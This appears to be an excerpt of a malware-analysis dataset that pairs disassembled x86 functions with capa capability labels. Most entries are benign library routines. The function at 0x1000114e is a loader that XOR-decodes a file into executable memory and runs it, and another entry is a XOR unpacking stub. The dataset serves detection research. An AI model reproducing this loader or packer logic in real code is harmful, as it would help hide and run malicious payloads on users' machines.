joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b8040
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x4b81c5
cmp dword [esi + 0x20], 0
je 0x4b81c5
cmp dword [esi + 0x24], 0
je 0x4b81c5
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x4b81c5
cmp dword [eax], esi
jne 0x4b81c5
mov eax, dword [eax + 4]
cmp eax, 0x2a
je 0x4b80a5
cmp eax, 0x39
je 0x4b80a5
cmp eax, 0x45
je 0x4b80a5
cmp eax, 0x49
je 0x4b80a5
cmp eax, 0x5b
je 0x4b80a5
cmp eax, 0x67
je 0x4b80a5
cmp eax, 0x71
je 0x4b80a5
cmp eax, 0x29a
jne 0x4b81c5
push edi
mov edi, dword [esi + 0x1c]
mov dword [esi + 0x14], 0
mov dword [esi + 8], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x2c], 2
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 8]
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], eax
test ecx, ecx
jns 0x4b80de
neg ecx
mov dword [edi + 0x18], ecx
cmp ecx, 2
mov eax, 0x2a
push 0
mov edx, 0x39
cmove eax, edx
push 0
mov dword [edi + 4], eax
push 0
jne 0x4b8100
call fcn.004b3ed0
jmp 0x4b8105
call fcn.004b4460
add esp, 0xc
mov dword [esi + 0x30], eax
mov dword [edi + 0x28], 0xfffffffe
push edi
call fcn.004b9c10
mov esi, dword [esi + 0x1c]
xor edx, edx
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x4c]
add eax, eax
mov dword [esi + 0x3c], eax
mov eax, dword [esi + 0x44]
mov word [eax + ecx*2 - 2], dx
mov eax, dword [esi + 0x4c]
lea eax, [eax*2 - 2]
push eax
push edx
push dword [esi + 0x44]
call fcn.00423330
mov eax, dword [esi + 0x84]
add esp, 0x10
lea ecx, [eax + eax*2]
movzx eax, word [ecx*4 + 0x4d0e52]
mov dword [esi + 0x80], eax
movzx eax, word [ecx*4 + 0x4d0e50]
mov dword [esi + 0x8c], eax
movzx eax, word [ecx*4 + 0x4d0e54]
mov dword [esi + 0x90], eax
xor eax, eax
movzx ecx, word [ecx*4 + 0x4d0e56]
pop edi
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x6c], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x74], 0
mov dword [esi + 0x16b4], 0
mov dword [esi + 0x78], 2
mov dword [esi + 0x60], 2
mov dword [esi + 0x68], 0
mov dword [esi + 0x48], 0
pop esi
ret
mov eax, 0xfffffffe
pop esi
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x1b6f2f97
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data_1
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x6ff91dd9
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10
Function at 0x5f401000
Capabilities:
Get thread local storage value

Disassembly:
push esi
push edi
mov edi, ecx
cmp dword [edi], 0
je 0x5f401032
mov eax, dword [0x5f4d0004]
mov esi, dword [edi]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x5f401063
cmp esi, dword [eax + 8]
jge 0x5f401063
mov eax, dword [eax + 0xc]
mov esi, dword [eax + esi*4]
test esi, esi
je 0x5f401067
mov eax, esi
pop edi
pop esi
ret 4
mov ecx, dword [0x5f4d0004]
test ecx, ecx
je 0x5f401045
call sym.MFC42.DLL_Ordinal_1599
mov dword [edi], eax
jmp 0x5f401009
mov ecx, 0x5f4d0008
mov eax, ecx
test eax, eax
je 0x5f477a02
call sym.MFC42.DLL_Ordinal_546
mov ecx, eax
mov dword [0x5f4d0004], ecx
jmp 0x5f40103c
xor esi, esi
jmp 0x5f401027
call dword [esp + 0xc]
mov ecx, dword [0x5f4d0004]
mov esi, eax
push esi
push dword [edi]
call sym.MFC42.DLL_Ordinal_6184
jmp 0x5f40102b
xor ecx, ecx
jmp 0x5f40105b
Function at 0x5f4034d5
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x3c]
test ecx, ecx
jne 0x5f45c354
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call sym.MFC42.DLL_Ordinal_2919
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call sym.MFC42.DLL_Ordinal_5572
pop esi
ret 4
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x90]
jmp 0x5f40350f

Function at 0x5f403819
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0x79
push esi
mov esi, ecx
je 0x5f47333d
mov ecx, esi
call sym.MFC42.DLL_Ordinal_2379
pop esi
leave
ret 0xc
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x5f40382c
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
add eax, ecx
mov esi, dword [esi + 0x20]
cdq
sub eax, edx
mov edx, dword [ebp - 0xc]
mov ecx, eax
mov eax, dword [ebp - 4]
add eax, edx
cdq
sub eax, edx
sar eax, 1
sar ecx, 1
movzx eax, ax
movzx ecx, cx
shl eax, 0x10
or eax, ecx
push eax
push esi
push 0x7b
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
jmp 0x5f403833

Function at 0x5f406440
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
xor ebp, ebp
test ebx, ebx
push edi
mov dword [esp + 0xc], ecx
je 0x5f406473
push esi
mov esi, pe_nt_image_headers32
push esi
push ebx
call sym.MFC42.DLL_Ordinal_1146
mov edi, eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
pop esi
jne 0x5f45d041
mov ecx, dword [esp + 0xc]
push ebp
call sym.MFC42.DLL_Ordinal_2718
pop edi
pop ebp
pop ebx
pop ecx
ret 4
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x5f40647d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
jmp 0x5f406473

Function at 0x5f407ee9
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov eax, 0x100
cmp esi, eax
ja 0x5f407f1c
push eax
lea eax, [ebp - 0x100]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, esi
je 0x5f407f2d
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop esi
leave
ret 8
push dword [ebp + 0xc]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x5f407f1c
jmp 0x5f407f28
Function at 0x5f40983b
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x5f49a25d
call sub.MSVCRT.dll__EH_prolog
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call sym.MFC42.DLL_Ordinal_290
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi], vtable.CDynLinkLibrary.0
mov dword [esi + 0x34], 0x20
mov dword [esi + 0x2c], 0x14
mov ecx, dword [eax + 4]
mov dword [esi + 0x20], ecx
mov ecx, dword [eax + 8]
mov dword [esi + 0x24], ecx
mov ecx, dword [eax + 0xc]
mov dword [esi + 0x28], ecx
mov eax, dword [eax + 0x10]
mov dword [esi + 0x30], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], edi
mov dword [esi + 0x38], eax
call sym.MFC42.DLL_Ordinal_1196
mov ecx, dword [esi + 0x1c]
push esi
add ecx, 0x1048
call sym.MFC42.DLL_Ordinal_1000
push edi
call sym.MFC42.DLL_Ordinal_1569
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 8

Function at 0x5f409846
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x5f49a25d
call sub.MSVCRT.dll__EH_prolog
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call sym.MFC42.DLL_Ordinal_290
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi], vtable.CDynLinkLibrary.0
mov dword [esi + 0x34], 0x20
mov dword [esi + 0x2c], 0x14
mov ecx, dword [eax + 4]
mov dword [esi + 0x20], ecx
mov ecx, dword [eax + 8]
mov dword [esi + 0x24], ecx
mov ecx, dword [eax + 0xc]
mov dword [esi + 0x28], ecx
mov eax, dword [eax + 0x10]
mov dword [esi + 0x30], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], edi
mov dword [esi + 0x38], eax
call sym.MFC42.DLL_Ordinal_1196
mov ecx, dword [esi + 0x1c]
push esi
add ecx, 0x1048
call sym.MFC42.DLL_Ordinal_1000
push edi
call sym.MFC42.DLL_Ordinal_1569
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 8
Function at 0x5f40ad7b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x5f463bd6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov dword [ebp - 8], ebx
je 0x5f463bd6
mov edi, dword [ebx]
add edi, 0x40
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
pop ecx
test esi, esi
je 0x5f463bd6
push edi
push ebx
push esi
call sub.MSVCRT.dll_memcpy
mov edi, esi
add esp, 0xc
add edi, dword [esi]
mov dword [ebp + 0xc], 0x10
mov eax, dword [edi]
xor ecx, ecx
mov edx, 0x5f4a0658
cmp eax, dword [edx]
je 0x5f40ae99
add edx, 8
inc ecx
cmp edx, str.msctls_statusbar32
jb 0x5f40ade2
add edi, 4
dec dword [ebp + 0xc]
jne 0x5f40add9
mov edi, dword [esi + 4]
mov ebx, dword [esi + 8]
push 0
mov dword [ebp + 8], edi
mov dword [ebp + 0xc], ebx
call dword [sym.imp.USER32.dll_GetDC]
push ebx
push edi
push eax
mov dword [ebp + 0x10], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
test eax, eax
mov dword [ebp - 4], eax
je 0x5f40ae7c
push dword [ebp + 0x10]
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebp - 4]
mov ebx, dword [sym.imp.GDI32.dll_SelectObject]
mov edi, eax
push edi
call ebx
mov cl, byte [esi + 0xe]
mov dword [ebp - 0xc], eax
xor eax, eax
push 0xcc0020
push eax
push esi
push 1
pop edx
shl edx, cl
mov ecx, dword [ebp - 8]
lea ecx, [ecx + edx*4 + 0x28]
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
push edi
call dword [sym.imp.GDI32.dll_StretchDIBits]
push dword [ebp - 0xc]
push edi
call ebx
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
push dword [ebp + 0x10]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push esi
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [ebp + 0x10], 0
jne 0x5f463bdd
push dword [ecx*8 + 0x5f4a065c]
lea ebx, [ecx*8 + 0x5f4a065c]
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_GetSysColor]
push dword [ebx]
xor edx, edx
mov dl, ah
mov ebx, edx
call dword [sym.imp.USER32.dll_GetSysColor]
mov bh, al
mov eax, dword [ebp - 4]
shl ebx, 8
push dword [eax]
call dword [sym.imp.USER32.dll_GetSysColor]
shr eax, 0x10
movzx eax, al
or ebx, eax
mov dword [edi], ebx
jmp 0x5f40adf6
xor eax, eax
jmp 0x5f40ae92
cmp dword [ecx*8 + 0x5f4a065c], 0x12
je 0x5f40adf6
mov dword [edi], 0xffffff
jmp 0x5f40adf6
Function at 0x5f40fb3a
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, eax
test edi, edi
je 0x5f40fb6a
mov eax, dword [ebp + 8]
lea ebx, [edi + 8]
cmp eax, dword [ebx]
jl 0x5f40fbfd
cmp dword [ebp + 0xc], 0
jne 0x5f40fbac
jmp 0x5f40fbfd
push 0x10
call sym.MFC42.DLL_Ordinal_824
test eax, eax
je 0x5f4779b0
mov dword [eax], vtable.CThreadData.0
mov edi, eax
and dword [edi + 8], 0
and dword [edi + 0xc], 0
lea ebx, [edi + 8]
lea eax, [esi + 0x1c]
push eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push edi
lea ecx, [esi + 0x14]
call sym.MFC42.DLL_Ordinal_1000
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [edi + 0xc]
test eax, eax
jne 0x5f40fc10
mov eax, dword [esi + 0xc]
shl eax, 2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
test eax, eax
mov dword [edi + 0xc], eax
je 0x5f4779b7
mov eax, dword [ebx]
mov ecx, eax
imul ecx, ecx, 0x3fffffff
add ecx, dword [esi + 0xc]
shl ecx, 2
push ecx
mov ecx, dword [edi + 0xc]
push 0
lea eax, [ecx + eax*4]
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [esi + 0xc]
add esp, 0xc
mov dword [ebx], eax
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [edi + 0xc]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
pop edi
pop esi
mov dword [eax + edx*4], ecx
pop ebx
leave
ret 8
mov ecx, dword [esi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
jmp 0x5f40fbc2
xor edi, edi
jmp 0x5f40fb81
call sym.MFC42.DLL_Ordinal_1265
jmp 0x5f40fbcd

Function at 0x5f40fd2a
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x5f492ca9
call sub.MSVCRT.dll__EH_prolog
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
xor eax, eax
lea ecx, [esi + 0x30]
push 0xa
mov dword [ebp - 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
call sym.MFC42.DLL_Ordinal_394
lea ecx, [esi + 0x4c]
push 0xa
mov byte [ebp - 4], 1
call sym.MFC42.DLL_Ordinal_394
push 0xa
lea ecx, [esi + 0x68]
mov byte [ebp - 4], 2
call sym.MFC42.DLL_Ordinal_501
mov ecx, dword [ebp - 0xc]
mov dword [esi], vtable.AFX_MODULE_THREAD_STATE.0
mov dword [esi + 0xc], 0x58
mov dword [esi + 0x28], sym.MFC42.DLL_Ordinal_1201
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x5f40fd84
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
cmp dword [ebp + 0xc], 1
push ebx
push esi
push edi
je 0x5f40fdb6
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
je 0x5f40fea2
cmp dword [ebp + 0xc], 3
jne 0x5f40fe98
push ebx
call sym.MFC42.DLL_Ordinal_1255
jmp 0x5f40fe98
xor eax, eax
cmp dword [0x5f4d2700], eax
sete al
mov dword [ebp + 0xc], eax
call fcn.5f40f465
mov ebx, dword [ebp + 8]
mov esi, eax
mov edi, 0x5f4d2700
push ebx
mov eax, dword [esi + 0x20]
push edi
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x2c]
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x28], eax
call sym.MFC42.DLL_Ordinal_1182
push 0
push sym.MFC42.DLL_Ordinal_6412
push 0
push ebx
call sym.MFC42.DLL_Ordinal_1575
cmp dword [ebp + 0xc], 0
je 0x5f40fe06
call sym.MFC42.DLL_Ordinal_5500
call sym.MFC42.DLL_Ordinal_1176
push dword [eax + 8]
call sym.MFC42.DLL_Ordinal_1243
call fcn.5f40f465
push 0x40
call sym.MFC42.DLL_Ordinal_823
test eax, eax
pop ecx
je 0x5f479998
push 1
push edi
mov ecx, eax
call sym.MFC42.DLL_Ordinal_342
and dword [eax + 0x30], 0
lea eax, [ebp - 0x114]
push 0x112
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push 0x5f49e10c
push eax
call edi
lea eax, [ebp - 0x114]
push 0x5f49e114
push eax
call edi
lea eax, [ebp - 0x114]
push str..DLL
push eax
call edi
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
call sym.MFC42.DLL_Ordinal_1168
mov dword [eax + 0x1050], edi
mov dword [esi + 0x1050], edi
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc
call sym.MFC42.DLL_Ordinal_1168
mov edi, eax
mov eax, dword [edi + 0x1050]
cmp eax, ebx
lea esi, [edi + 0x1050]
jne 0x5f47999f
mov ecx, dword [edi + 0x1048]
cmp ecx, ebx
je 0x5f40fed0
mov eax, dword [ecx]
push 1
call dword [eax + 4]
jmp 0x5f40febd
mov edi, 0x5f4d2700
push ebx
push edi
call sym.MFC42.DLL_Ordinal_1253
call fcn.5f40f465
push eax
call sym.MFC42.DLL_Ordinal_1243
mov esi, eax
call sym.MFC42.DLL_Ordinal_1176
push 1
push edi
mov dword [eax + 8], esi
call sym.MFC42.DLL_Ordinal_1253
push 1
push ebx
call sym.MFC42.DLL_Ordinal_1254
jmp 0x5f40fe98
xor eax, eax
jmp 0x5f40fe32
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [esi], ebx
jmp 0x5f40febd

Function at 0x5f40ff54
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
je 0x5f40ff93
mov eax, dword [esi + 0x14]
test eax, eax
je 0x5f40ff87
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call sym.MFC42.DLL_Ordinal_2427
test edi, edi
mov eax, edi
jne 0x5f40ff71
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x5f40ff87
push dword [esp + 0xc]
mov ecx, esi
push eax
call sym.MFC42.DLL_Ordinal_2427
jmp 0x5f40ff87
Function at 0x5f40ffad
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 1
mov ebx, ecx
pop edi
cmp dword [esi + 8], edi
mov dword [ebp - 4], edi
jg 0x5f410024
lea edi, [ebx + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
lea ecx, [ebx + 0x14]
call sym.MFC42.DLL_Ordinal_5589
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
je 0x5f40fff3
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax]
push 0
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x5f410043
mov ecx, dword [ebx + 0x10]
cmp dword [ecx + edi*8 + 4], eax
je 0x5f41002b
mov eax, dword [esi + 0xc]
cmp dword [eax + edi*4], 0
je 0x5f41001e
and dword [ebp - 4], 0
jmp 0x5f41001e
mov eax, dword [esi + 0xc]
and dword [eax + edi*4], 0
inc edi
cmp edi, dword [esi + 8]
jge 0x5f41003d
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x5f40ffff
mov eax, dword [esi + 0xc]
mov ecx, dword [eax + edi*4]
test ecx, ecx
je 0x5f410017
mov eax, dword [ecx]
push 1
call dword [eax]
jmp 0x5f410017
cmp dword [ebp - 4], 0
jne 0x5f40ffc4
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x5f41315e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push edi
push dword [ebx + 0x20]
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, dword [ebp + 8]
mov ecx, ebx
movzx eax, ax
mov dword [edi], eax
mov dword [edi + 0x58], ebx
mov eax, dword [ebx]
call dword [eax + 0xd0]
mov dword [edi + 4], eax
mov eax, dword [ebx + 0x58]
mov dword [edi + 0x1c], eax
cmp dword [ebx + 0x74], 0
jne 0x5f4131b1
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0xd8]
test eax, eax
je 0x5f4131ab
push edi
mov ecx, ebx
call sym.MFC42.DLL_Ordinal_2903
pop edi
pop ebx
leave
ret 4
lea eax, [ebp - 0x10]
push esi
push eax
push dword [ebx + 0x20]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [ebx + 0x74]
lea eax, [ebp - 0x10]
push eax
call sym.MFC42.DLL_Ordinal_6880
mov eax, dword [ebp - 0x10]
mov dword [edi + 0x20], 1
mov dword [edi + 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [edi + 0x18], eax
mov eax, dword [ebx + 0x78]
mov eax, dword [eax + 0x90]
mov dword [edi + 0x24], eax
mov esi, dword [ebx + 0x78]
add esi, 0x94
add edi, 0x28
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebx + 0x78]
pop esi
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp + 8]
mov edi, eax
mov dword [eax + 0x38], ecx
mov ecx, dword [ebx + 0x78]
mov edx, dword [ecx + 0xa8]
mov dword [eax + 0x3c], edx
mov ecx, dword [ecx + 0xac]
mov dword [eax + 0x40], ecx
jmp 0x5f413195
Function at 0x5f414542
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, esi
push dword [ebp + 0xc]
call sym.MFC42.DLL_Ordinal_5272
cmp dword [esi], 0
mov edi, eax
je 0x5f414587
lea eax, [ebp - 0x20]
push 0x20
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp + 0x18]
push eax
lea eax, [ebp - 0x20]
push dword [ebp + 0x10]
push eax
call fcn.5f41467e
test eax, eax
je 0x5f466eef
pop edi
pop esi
leave
ret
lea eax, [ebp + 0x18]
push eax
lea eax, [ebp - 0x20]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
lea eax, [ebp - 0x20]
push eax
push edi
call sym.MFC42.DLL_Ordinal_1246
jmp 0x5f414583
push 0xffffffffffffffff
push eax
push dword [ebp + 0x14]
call sym.MFC42.DLL_Ordinal_1199
mov ecx, esi
call sym.MFC42.DLL_Ordinal_2737
jmp 0x5f414583